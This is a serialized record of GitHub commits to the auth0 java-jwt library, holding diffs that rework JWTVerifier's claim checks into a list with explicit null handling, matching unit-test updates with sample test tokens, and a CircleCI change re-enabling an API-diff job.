+            addCheck(PublicClaims.ISSUER, ((claim, decodedJWT) -> {
+                if (verifyNull(claim, value)) {
+                    return true;
+                }
                 if (value == null || !value.contains(claim.asString())) {
                     throw new IncorrectClaimException(
                             "The Claim 'iss' value doesn't match the required issuer.", PublicClaims.ISSUER, claim);
@@ -82,23 +86,24 @@ public Verification withIssuer(String... issuer) {
 
         @Override
         public Verification withSubject(String subject) {
-            checkIfNeedToRemove(PublicClaims.SUBJECT, subject, (claim, decodedJWT) -> subject.equals(claim.asString()));
+            addCheck(PublicClaims.SUBJECT, (claim, decodedJWT) ->
+                    verifyNull(claim, subject) || subject.equals(claim.asString()));
             return this;
         }
 
         @Override
         public Verification withAudience(String... audience) {
             List<String> value = isNullOrEmpty(audience) ? null : Arrays.asList(audience);
-            checkIfNeedToRemove(PublicClaims.AUDIENCE, value, ((claim, decodedJWT) ->
-                    assertValidAudienceClaim(claim, decodedJWT.getAudience(), value, true)));
+            addCheck(PublicClaims.AUDIENCE, ((claim, decodedJWT) -> verifyNull(claim, value)
+                    || assertValidAudienceClaim(claim, decodedJWT.getAudience(), value, true)));
             return this;
         }
 
         @Override
         public Verification withAnyOfAudience(String... audience) {
             List<String> value = isNullOrEmpty(audience) ? null : Arrays.asList(audience);
-            checkIfNeedToRemove(PublicClaims.AUDIENCE, value, ((claim, decodedJWT) ->
-                    assertValidAudienceClaim(claim, decodedJWT.getAudience(), value, false)));
+            addCheck(PublicClaims.AUDIENCE, ((claim, decodedJWT) -> verifyNull(claim, value)
+                    || assertValidAudienceClaim(claim, decodedJWT.getAudience(), value, false)));
             return this;
         }
 
@@ -138,7 +143,8 @@ public Verification ignoreIssuedAt() {
 
         @Override
         public Verification withJWTId(String jwtId) {
-            checkIfNeedToRemove(PublicClaims.JWT_ID, jwtId, ((claim, decodedJWT) -> jwtId.equals(claim.asString())));
+            addCheck(PublicClaims.JWT_ID, ((claim, decodedJWT) ->
+                    verifyNull(claim, jwtId) || jwtId.equals(claim.asString())));
             return this;
         }
 
@@ -159,35 +165,40 @@ public Verification withNullClaim(String name) throws IllegalArgumentException {
         @Override
         public Verification withClaim(String name, Boolean value) throws IllegalArgumentException {
             assertNonNull(name);
-            checkIfNeedToRemove(name, value, ((claim, decodedJWT) -> value.equals(claim.asBoolean())));
+            addCheck(name, ((claim, decodedJWT) -> verifyNull(claim, value)
+                    || value.equals(claim.asBoolean())));
             return this;
         }
 
         @Override
         public Verification withClaim(String name, Integer value) throws IllegalArgumentException {
             assertNonNull(name);
-            checkIfNeedToRemove(name, value, ((claim, decodedJWT) -> value.equals(claim.asInt())));
+            addCheck(name, ((claim, decodedJWT) -> verifyNull(claim, value)
+                    || value.equals(claim.asInt())));
             return this;
         }
 
         @Override
         public Verification withClaim(String name, Long value) throws IllegalArgumentException {
             assertNonNull(name);
-            checkIfNeedToRemove(name, value, ((claim, decodedJWT) -> value.equals(claim.asLong())));
+            addCheck(name, ((claim, decodedJWT) -> verifyNull(claim, value)
+                    || value.equals(claim.asLong())));
             return this;
         }
 
         @Override
         public Verification withClaim(String name, Double value) throws IllegalArgumentException {
             assertNonNull(name);
-            checkIfNeedToRemove(name, value, ((claim, decodedJWT) -> value.equals(claim.asDouble())));
+            addCheck(name, ((claim, decodedJWT) -> verifyNull(claim, value)
+                    || value.equals(claim.asDouble())));
             return this;
         }
 
         @Override
         public Verification withClaim(String name, String value) throws IllegalArgumentException {
             assertNonNull(name);
-            checkIfNeedToRemove(name, value, ((claim, decodedJWT) -> value.equals(claim.asString())));
+            addCheck(name, ((claim, decodedJWT) -> verifyNull(claim, value)
+                    || value.equals(claim.asString())));
             return this;
         }
 
@@ -201,37 +212,42 @@ public Verification withClaim(String name, Instant value) throws IllegalArgument
             assertNonNull(name);
             // Since date-time claims are serialized as epoch seconds,
             // we need to compare them with only seconds-granularity
-            checkIfNeedToRemove(name, value,
-                    ((claim, decodedJWT) -> value.truncatedTo(ChronoUnit.SECONDS).equals(claim.asInstant())));
+            addCheck(name,
+                    ((claim, decodedJWT) -> verifyNull(claim, value)
+                            || value.truncatedTo(ChronoUnit.SECONDS).equals(claim.asInstant())));
             return this;
         }
 
         @Override
         public Verification withClaim(String name, BiPredicate<Claim, DecodedJWT> predicate)
                 throws IllegalArgumentException {
             assertNonNull(name);
-            checkIfNeedToRemove(name, predicate, predicate);
+            addCheck(name, ((claim, decodedJWT) -> verifyNull(claim, predicate)
+                    || predicate.test(claim, decodedJWT)));
             return this;
         }
 
         @Override
         public Verification withArrayClaim(String name, String... items) throws IllegalArgumentException {
             assertNonNull(name);
-            checkIfNeedToRemove(name, items, ((claim, decodedJWT) -> assertValidCollectionClaim(claim, items)));
+            addCheck(name, ((claim, decodedJWT) -> verifyNull(claim, items)
+                    || assertValidCollectionClaim(claim, items)));
             return this;
         }
 
         @Override
         public Verification withArrayClaim(String name, Integer... items) throws IllegalArgumentException {
             assertNonNull(name);
-            checkIfNeedToRemove(name, items, ((claim, decodedJWT) -> assertValidCollectionClaim(claim, items)));
+            addCheck(name, ((claim, decodedJWT) -> verifyNull(claim, items)
+                    || assertValidCollectionClaim(claim, items)));
             return this;
         }
 
         @Override
         public Verification withArrayClaim(String name, Long... items) throws IllegalArgumentException {
             assertNonNull(name);
-            checkIfNeedToRemove(name, items, ((claim, decodedJWT) -> assertValidCollectionClaim(claim, items)));
+            addCheck(name, ((claim, decodedJWT) -> verifyNull(claim, items)
+                    || assertValidCollectionClaim(claim, items)));
             return this;
         }
 
@@ -268,13 +284,13 @@ private void addMandatoryClaimChecks() {
             long notBeforeLeeway = getLeewayFor(PublicClaims.NOT_BEFORE);
             long issuedAtLeeway = getLeewayFor(PublicClaims.ISSUED_AT);
 
-            expectedChecks.put(PublicClaims.EXPIRES_AT, (claim, decodedJWT) ->
-                    assertValidInstantClaim(PublicClaims.EXPIRES_AT, claim, expiresAtLeeway, true));
-            expectedChecks.put(PublicClaims.NOT_BEFORE, (claim, decodedJWT) ->
-                    assertValidInstantClaim(PublicClaims.NOT_BEFORE, claim, notBeforeLeeway, false));
+            expectedChecks.add(constructExpectedCheck(PublicClaims.EXPIRES_AT, (claim, decodedJWT) ->
+                    assertValidInstantClaim(PublicClaims.EXPIRES_AT, claim, expiresAtLeeway, true)));
+            expectedChecks.add(constructExpectedCheck(PublicClaims.NOT_BEFORE, (claim, decodedJWT) ->
+                    assertValidInstantClaim(PublicClaims.NOT_BEFORE, claim, notBeforeLeeway, false)));
             if (!ignoreIssuedAt) {
-                expectedChecks.put(PublicClaims.ISSUED_AT, (claim, decodedJWT) ->
-                        assertValidInstantClaim(PublicClaims.ISSUED_AT, claim, issuedAtLeeway, false));
+                expectedChecks.add(constructExpectedCheck(PublicClaims.ISSUED_AT, (claim, decodedJWT) ->
+                        assertValidInstantClaim(PublicClaims.ISSUED_AT, claim, issuedAtLeeway, false)));
             }
         }
 
@@ -294,8 +310,7 @@ private boolean assertValidCollectionClaim(Claim claim, Object[] expectedClaimVa
                     }
                 }
             } else {
-                claimArr = claim.isNull() || claim.isMissing()
-                        ? Collections.emptyList() : Arrays.asList(claim.as(Object[].class));
+                claimArr = Arrays.asList(claim.as(Object[].class));
             }
             List<Object> valueArr = Arrays.asList(expectedClaimValue);
             return claimArr.containsAll(valueArr);
@@ -361,13 +376,27 @@ private void assertNonNull(String name) {
             }
         }
 
-        private void checkIfNeedToRemove(String name, Object value, BiPredicate<Claim, DecodedJWT> predicate) {
-            if (value == null) {
-                expectedChecks.remove(name);
-                return;
-            }
-            expectedChecks.put(name, (claim, decodedJWT) -> assertClaimPresence(name, claim)
-                    && predicate.test(claim, decodedJWT));
+        private void addCheck(String name, BiPredicate<Claim, DecodedJWT> predicate) {
+            expectedChecks.add(constructExpectedCheck(name, (claim, decodedJWT) -> assertClaimPresence(name, claim)
+                    && predicate.test(claim, decodedJWT)));
+        }
+
+        private ExpectedCheckHolder constructExpectedCheck(String claimName, BiPredicate<Claim, DecodedJWT> check) {
+            return new ExpectedCheckHolder() {
+                @Override
+                public String getClaimName() {
+                    return claimName;
+                }
+
+                @Override
+                public boolean verify(Claim claim, DecodedJWT decodedJWT) {
+                    return check.test(claim, decodedJWT);
+                }
+            };
+        }
+
+        private boolean verifyNull(Claim claim, Object value) {
+            return value == null && claim.isNull();
         }
 
         private boolean isNullOrEmpty(String[] args) {
@@ -431,15 +460,14 @@ private void verifyAlgorithm(DecodedJWT jwt, Algorithm expectedAlgorithm) throws
         }
     }
 
-    private void verifyClaims(DecodedJWT jwt, Map<String, BiPredicate<Claim, DecodedJWT>> claims)
+    private void verifyClaims(DecodedJWT jwt, List<ExpectedCheckHolder> expectedChecks)
             throws TokenExpiredException, InvalidClaimException {
-        for (Map.Entry<String, BiPredicate<Claim, DecodedJWT>> entry : claims.entrySet()) {
+        for (ExpectedCheckHolder expectedCheck : expectedChecks) {
             boolean isValid;
-            String claimName = entry.getKey();
-            BiPredicate<Claim, DecodedJWT> expectedCheck = entry.getValue();
+            String claimName = expectedCheck.getClaimName();
             Claim claim = jwt.getClaim(claimName);
 
-            isValid = expectedCheck.test(claim, jwt);
+            isValid = expectedCheck.verify(claim, jwt);
 
             if (!isValid) {
                 throw new IncorrectClaimException(u}(ja&  (077ce31444c3ad94c78f953094ab203d55278634j&  Clib/src/main/java/com/auth0/jwt/interfaces/ExpectedCheckHolder.javaj&  addedj&  Kj&  K j&  Kj&  https://github.com/auth0/java-jwt/blob/308bd3b30fdb544dd567edea6f7a6ba31e569da9/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FExpectedCheckHolder.javaj&  https://github.com/auth0/java-jwt/raw/308bd3b30fdb544dd567edea6f7a6ba31e569da9/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FExpectedCheckHolder.javaj&  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FExpectedCheckHolder.java?ref=308bd3b30fdb544dd567edea6f7a6ba31e569da9j&  XY  @@ -0,0 +1,22 @@
+package com.auth0.jwt.interfaces;
+
+/**
+ * This holds the checks that are run to verify a JWT.
+ */
+public interface ExpectedCheckHolder {
+    /**
+     * The claim name that will be checked.
+     *
+     * @return the claim name
+     */
+    String getClaimName();
+
+    /**
+     * The verification that will be run.
+     *
+     * @param claim the claim for which verification is done
+     * @param decodedJWT the JWT on which verification is done
+     * @return whether the verification passed or not
+     */
+    boolean verify(Claim claim, DecodedJWT decodedJWT);
+}u}(ja&  (ee0ac4663e6381c6765e5cc498ba62211de578fcj&  4lib/src/test/java/com/auth0/jwt/JWTVerifierTest.javaj&  modifiedj&  Kj&  KOj&  Kj&  https://github.com/auth0/java-jwt/blob/308bd3b30fdb544dd567edea6f7a6ba31e569da9/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaj&  https://github.com/auth0/java-jwt/raw/308bd3b30fdb544dd567edea6f7a6ba31e569da9/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaj&  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.java?ref=308bd3b30fdb544dd567edea6f7a6ba31e569da9j&  X;  @@ -22,6 +22,7 @@
 import static com.auth0.jwt.matchers.CustomMatchers.*;
 import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.*;
+import static org.junit.Assert.assertThrows;
 import static org.mockito.Mockito.mock;
 
 public class JWTVerifierTest {
@@ -55,8 +56,18 @@ public void shouldValidateIssuer() {
                 .withIssuer("auth0")
                 .build()
                 .verify(token);
-
         assertThat(jwt, is(notNullValue()));
+
+        //  "iss": ["auth0", "okta"]
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, ()-> {
+            String token1 = "eyJhbGciOiJIUzI1NiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.mZ0m_N1J4PgeqWmi903JuUoDRZDBPB7HwkS4nVyWH1M";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withIssuer((String[]) null)
+                    .build()
+                    .verify(token1);
+        });
+
+        assertThat(e.getClaimName(), is("iss"));
     }
 
     @Test
@@ -178,7 +189,7 @@ public void shouldAllowWithAnyOfAudienceVerificationToOverrideWithAudience() {
         assertThat(exception, is(instanceOf(IncorrectClaimException.class)));
         assertThat(exception.getMessage(), is("The Claim 'aud' value doesn't contain the required audience."));
 
-        DecodedJWT jwt = verification.withAnyOfAudience("Mark", "Jim").build().verify(token);
+        DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret")).withAnyOfAudience("Mark", "Jim").build().verify(token);
         assertThat(jwt, is(notNullValue()));
     }
 
@@ -200,7 +211,7 @@ public void shouldAllowWithAudienceVerificationToOverrideWithAnyOfAudience() {
         assertThat(exception, is(instanceOf(IncorrectClaimException.class)));
         assertThat(exception.getMessage(), is("The Claim 'aud' value doesn't contain the required audience."));
 
-        DecodedJWT jwt = verification.withAudience("Mark").build().verify(token);
+        DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret")).withAudience("Mark").build().verify(token);
         assertThat(jwt, is(notNullValue()));
     }
 
@@ -303,75 +314,15 @@ public void shouldThrowWhenAudienceClaimIsNullWithAnAudience() {
     }
 
     @Test
-    public void shouldRemoveAudienceWhenPassingNullReference() {
-        Algorithm algorithm = mock(Algorithm.class);
-        JWTVerifier verifier = JWTVerifier.init(algorithm)
-                .withAudience((String) null)
-                .build();
-
-        assertThat(verifier.expectedChecks, is(notNullValue()));
-        assertThat(verifier.expectedChecks, not(hasKey(PublicClaims.AUDIENCE)));
-
-        verifier = JWTVerifier.init(algorithm)
+    public void shouldNotReplaceWhenMultipleChecksAreAdded() {
+        JWTVerifier verifier = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withAudience((String[]) null)
-                .build();
-
-        assertThat(verifier.expectedChecks, is(notNullValue()));
-        assertThat(verifier.expectedChecks, not(hasKey(PublicClaims.AUDIENCE)));
-
-        verifier = JWTVerifier.init(algorithm)
                 .withAudience()
-                .build();
-
-        assertThat(verifier.expectedChecks, is(notNullValue()));
-        assertThat(verifier.expectedChecks, not(hasKey(PublicClaims.AUDIENCE)));
-
-        String emptyAud = "   ";
-        verifier = JWTVerifier.init(algorithm)
-                .withAudience(emptyAud)
-                .build();
-
-        assertThat(verifier.expectedChecks, is(notNullValue()));
-    }
-
-    @Test
-    public void shouldRemoveAudienceWhenPassingNull() {
-        Algorithm algorithm = mock(Algorithm.class);
-        JWTVerifier verifier = JWTVerifier.init(algorithm)
-                .withAudience("John")
-                .withAudience((String) null)
-                .build();
-
-        assertThat(verifier.expectedChecks, is(notNullValue()));
-        assertThat(verifier.expectedChecks, not(hasKey("aud")));
-
-        verifier = JWTVerifier.init(algorithm)
-                .withAudience("John")
-                .withAudience((String[]) null)
-                .build();
-
-        assertThat(verifier.expectedChecks, is(notNullValue()));
-        assertThat(verifier.expectedChecks, not(hasKey("aud")));
-    }
-
-    @Test
-    public void shouldRemoveAudienceWhenPassingNullWithAnyAudience() {
-        Algorithm algorithm = mock(Algorithm.class);
-        JWTVerifier verifier = JWTVerifier.init(algorithm)
-                .withAnyOfAudience("John")
-                .withAnyOfAudience((String) null)
-                .build();
-
-        assertThat(verifier.expectedChecks, is(notNullValue()));
-        assertThat(verifier.expectedChecks, not(hasKey("aud")));
-
-        verifier = JWTVerifier.init(algorithm)
-                .withAnyOfAudience("John")
                 .withAnyOfAudience((String[]) null)
+                .withAnyOfAudience()
                 .build();
 
-        assertThat(verifier.expectedChecks, is(notNullValue()));
-        assertThat(verifier.expectedChecks, not(hasKey("aud")));
+        assertThat(verifier.expectedChecks.size(), is(7)); //3 extra mandatory checks exp, nbf, iat
     }
 
     @Test
@@ -561,14 +512,14 @@ public void shouldValidateCustomClaimOfTypeDate() {
     }
 
     @Test
-    public void shouldRemoveCustomClaimOfTypeDateWhenNull() {
+    public void shouldNotRemoveCustomClaimOfTypeDateWhenNull() {
         JWTVerifier verifier = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("name", new Date())
                 .withClaim("name", (Date) null)
                 .build();
 
         assertThat(verifier.expectedChecks, is(notNullValue()));
-        assertThat(verifier.expectedChecks, not(hasKey("iss")));
+        assertThat(verifier.expectedChecks.size(), is(5));
     }
 
     @Test
@@ -900,48 +851,48 @@ public void shouldThrowOnInvalidJWTId() {
     }
 
     @Test
-    public void shouldRemoveClaimWhenPassingNull() {
+    public void shouldNotRemoveClaimWhenPassingNull() {
         Algorithm algorithm = mock(Algorithm.class);
         JWTVerifier verifier = JWTVerifier.init(algorithm)
                 .withIssuer("iss")
                 .withIssuer((String) null)
                 .build();
 
         assertThat(verifier.expectedChecks, is(notNullValue()));
-        assertThat(verifier.expectedChecks, not(hasKey("iss")));
+        assertThat(verifier.expectedChecks.size(), is(5));
 
         verifier = JWTVerifier.init(algorithm)
                 .withIssuer("iss")
                 .withIssuer((String[]) null)
                 .build();
 
         assertThat(verifier.expectedChecks, is(notNullValue()));
-        assertThat(verifier.expectedChecks, not(hasKey("iss")));
+        assertThat(verifier.expectedChecks.size(), is(5));
     }
 
     @Test
-    public void shouldRemoveIssuerWhenPassingNullReference() {
+    public void shouldNotRemoveIssuerWhenPassingNullReference() {
         Algorithm algorithm = mock(Algorithm.class);
         JWTVerifier verifier = JWTVerifier.init(algorithm)
                 .withIssuer((String) null)
                 .build();
 
         assertThat(verifier.expectedChecks, is(notNullValue()));
-        assertThat(verifier.expectedChecks, not(hasKey("iss")));
+        assertThat(verifier.expectedChecks.size(), is(4));
 
         verifier = JWTVerifier.init(algorithm)
                 .withIssuer((String[]) null)
                 .build();
 
         assertThat(verifier.expectedChecks, is(notNullValue()));
-        assertThat(verifier.expectedChecks, not(hasKey("iss")));
+        assertThat(verifier.expectedChecks.size(), is(4));
 
         verifier = JWTVerifier.init(algorithm)
                 .withIssuer()
                 .build();
 
         assertThat(verifier.expectedChecks, is(notNullValue()));
-        assertThat(verifier.expectedChecks, not(hasKey("iss")));
+        assertThat(verifier.expectedChecks.size(), is(4));
 
         String emptyIss = "  ";
         verifier = JWTVerifier.init(algorithm)
@@ -1111,7 +1062,6 @@ public void shouldSuccessfullyVerifyClaimWithPredicate() {
 
         JWTVerifier verifier = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("claimName", (claim, decodedJWT) -> "claimValue".equals(claim.asString()))
-                .withClaim(PublicClaims.ISSUED_AT, ((claim, decodedJWT) -> false))
                 .build();
 
         DecodedJWT decodedJWT = verifier.verify(jwt);
@@ -1136,14 +1086,14 @@ public void shouldThrowWhenPredicateReturnsFalse() {
     }
 
     @Test
-    public void shouldRemovePredicateCheckForNull() {
+    public void shouldNotRemovePredicateCheckForNull() {
         JWTVerifier verifier = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withClaim("claimName", (claim, decodedJWT) -> "nope".equals(claim.asString()))
                 .withClaim("claimName", (BiPredicate<Claim, DecodedJWT>) null)
                 .build();
 
         assertThat(verifier.expectedChecks, is(notNullValue()));
-        assertThat(verifier.expectedChecks, not(hasKey("claimName")));
+        assertThat(verifier.expectedChecks.size(), is(5));
     }
 
     @Test
@@ -1192,4 +1142,138 @@ public void shouldThrowWhenNullClaimIsMissing() {
                 .build()
                 .verify(jwt);
     }
+
+    @Test
+    public void shouldCheckForNullValuesForSubject() {
+        // sub = null
+        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOm51bGx9.y5brmQQ05OYwVvlTg83njUrz6tfpdyWNh17LHU6DxmI";
+        DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
+                .withSubject(null)
+                .build()
+                .verify(token);
+        assertThat(jwt, is(notNullValue()));
+    }
+
+    @Test
+    public void shouldCheckForNullValuesInIssuer() {
+        // iss = null
+        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOm51bGx9.OoiCLipSfflWxkFX2rytvtwEiJ8eAL0opkdXY_ap0qA";
+        DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
+                .withIssuer((String) null)
+                .withIssuer((String[]) null)
+                .withIssuer()
+                .build()
+                .verify(token);
+        assertThat(jwt, is(notNullValue()));
+    }
+
+    @Test
+    public void shouldCheckForNullValuesInJwtId() {
+        // jti = null
+        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJqdGkiOm51bGx9.z_MDyl8uPGH0q0jeB54wbYt3bwKXamU_3MO8LofGvZs";
+        DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
+                .withJWTId(null)
+                .build()
+                .verify(token);
+        assertThat(jwt, is(notNullValue()));
+    }
+
+    @Test
+    public void shouldCheckForNullValuesInCustomClaims() {
+        // jti = null
+        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjdXN0b20iOm51bGx9.inAuN3Q9UZ6WgbB63O43B1ero2MTqnfzzumr_5qYIls";
+        DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
+                .withClaim("custom", (Boolean) null)
+                .withClaim("custom", (Integer) null)
+                .withClaim("custom", (Long) null)
+                .withClaim("custom", (Double) null)
+                .withClaim("custom", (String) null)
+                .withClaim("custom", (Date) null)
+                .withClaim("custom", (Instant) null)
+                .withClaim("custom", (BiPredicate<Claim, DecodedJWT>) null)
+                .withArrayClaim("custom", (String[]) null)
+                .withArrayClaim("custom", (Integer[]) null)
+                .withArrayClaim("custom", (Long[]) null)
+                .build()
+                .verify(token);
+        assertThat(jwt, is(notNullValue()));
+    }
+
+
+    @Test
+    public void shouldCheckForNullValuesForAudience() {
+        // aud = null
+        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwiYXVkIjpudWxsfQ.bpPyquk3b8KepErKgTidjJ1ZwiOGuoTxam2_x7cElKI";
+        DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
+                .withAudience((String[]) null)
+                .withAudience((String) null)
+                .withAudience()
+                .withAnyOfAudience((String[]) null)
+                .withAnyOfAudience((String) null)
+                .withAnyOfAudience()
+                .build()
+                .verify(token);
+        assertThat(jwt, is(notNullValue()));
+    }
+
+    @Test
+    public void shouldCheckForClaimPresenceEvenForNormalClaimChecks() {
+        MissingClaimException e = assertThrows(null, MissingClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwiYXVkIjpudWxsfQ.bpPyquk3b8KepErKgTidjJ1ZwiOGuoTxam2_x7cElKI";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withClaim("custom", true)
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getClaimName(), is("custom"));
+    }
+
+    @Test
+    public void shouldCheckForWrongLongClaim() {
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjdXN0b20iOjF9.00btiK0sv8pQ2T-hOr9GC5x2osi7--Bsk4pS5cTikqQ";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withClaim("custom", 2L)
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getClaimName(), is("custom"));
+        assertThat(e.getClaimValue().asLong(), is(1L));
+    }
+
+    @Test
+    public void shouldCheckForWrongLongArrayClaim() {
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjdXN0b20iOlsxXX0.R9ZSmgtJng062rcEc59u4VKCq89Yk5VlkN9BuMTMvr0";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withArrayClaim("custom", 2L)
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getClaimName(), is("custom"));
+    }
+
+    @Test
+    public void shouldCheckForWrongStringArrayClaim() {
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjdXN0b20iOlsxXX0.R9ZSmgtJng062rcEc59u4VKCq89Yk5VlkN9BuMTMvr0";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withArrayClaim("custom", "2L")
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getClaimName(), is("custom"));
+    }
+
+    @Test
+    public void shouldCheckForWrongIntegerArrayClaim() {
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjdXN0b20iOlsxXX0.R9ZSmgtJng062rcEc59u4VKCq89Yk5VlkN9BuMTMvr0";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withArrayClaim("custom", 2)
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getClaimName(), is("custom"));
+    }
 }ueu(8dc5fbb6cde11084c9c74096d39f869910733bb8}(sha(8dc5fbb6cde11084c9c74096d39f869910733bb8node_idEC_kwDOAQtL0doAKDhkYzVmYmI2Y2RlMTEwODRjOWM3NDA5NmQzOWY4Njk5MTA3MzNiYjgcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-07-11T13:29:08Zu	committer}(j&  
Poovamraj T Tj&  poovamraj@gmail.comj&  2022-07-11T13:29:08Zumessage!reenable api-diff check for 4.0.0tree}(j&  (fe72732979d0ed3770a48a60498840fccce3f229url^https://api.github.com/repos/auth0/java-jwt/git/trees/fe72732979d0ed3770a48a60498840fccce3f229uj&  `https://api.github.com/repos/auth0/java-jwt/git/commits/8dc5fbb6cde11084c9c74096d39f869910733bb8
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj&  \https://api.github.com/repos/auth0/java-jwt/commits/8dc5fbb6cde11084c9c74096d39f869910733bb8html_urlQhttps://github.com/auth0/java-jwt/commit/8dc5fbb6cde11084c9c74096d39f869910733bb8comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/8dc5fbb6cde11084c9c74096d39f869910733bb8/commentsj&  }(login	poovamrajidJ j&  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j&  &https://api.github.com/users/poovamrajj
'  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj&  }(j'  	poovamrajj'  J j&  MDQ6VXNlcjE1OTEwNDI1j'  4https://avatars.githubusercontent.com/u/15910425?v=4j'  h3j&  &https://api.github.com/users/poovamrajj
'  https://github.com/poovamrajj'  0https://api.github.com/users/poovamraj/followersj'  =https://api.github.com/users/poovamraj/following{/other_user}j'  6https://api.github.com/users/poovamraj/gists{/gist_id}j'  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j '  4https://api.github.com/users/poovamraj/subscriptionsj"'  +https://api.github.com/users/poovamraj/orgsj$'  ,https://api.github.com/users/poovamraj/reposj&'  7https://api.github.com/users/poovamraj/events{/privacy}j('  6https://api.github.com/users/poovamraj/received_eventsj*'  Userj,'  uparents]}(j&  (ccd4191be6dfb49c587cb2e28529e1b5e635f39fj&  \https://api.github.com/repos/auth0/java-jwt/commits/ccd4191be6dfb49c587cb2e28529e1b5e635f39fj
'  Qhttps://github.com/auth0/java-jwt/commit/ccd4191be6dfb49c587cb2e28529e1b5e635f39fuastats}(totalK-	additionsK	deletionsKufiles](}(j&  (8532ec75c570aaa1b20820069c538a2ff1cd2d59filename.circleci/config.ymlstatusmodifiedjF'  KjG'  KchangesK+blob_urlfhttps://github.com/auth0/java-jwt/blob/8dc5fbb6cde11084c9c74096d39f869910733bb8/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/8dc5fbb6cde11084c9c74096d39f869910733bb8/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=8dc5fbb6cde11084c9c74096d39f869910733bb8patchX  @@ -22,15 +22,14 @@ commands:
     steps:
       - run: ./gradlew check jacocoTestReport --continue --console=plain
       - codecov/upload
-#  TODO re-enable once 4.0.0 is released
-#  run-api-diff:
-#    steps:
-#      # run apiDiff task
-#      - run: ./gradlew apiDiff
-#      - store_artifacts:
-#          path: lib/build/reports/apiDiff/apiDiff.txt
-#      - store_artifacts:
-#          path: lib/build/reports/apiDiff/apiDiff.html
+  run-api-diff:
+    steps:
+      # run apiDiff task
+      - run: ./gradlew apiDiff
+      - store_artifacts:
+          path: lib/build/reports/apiDiff/apiDiff.txt
+      - store_artifacts:
+          path: lib/build/reports/apiDiff/apiDiff.html
 jobs:
   build:
     docker:
@@ -42,21 +41,21 @@ jobs:
       GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
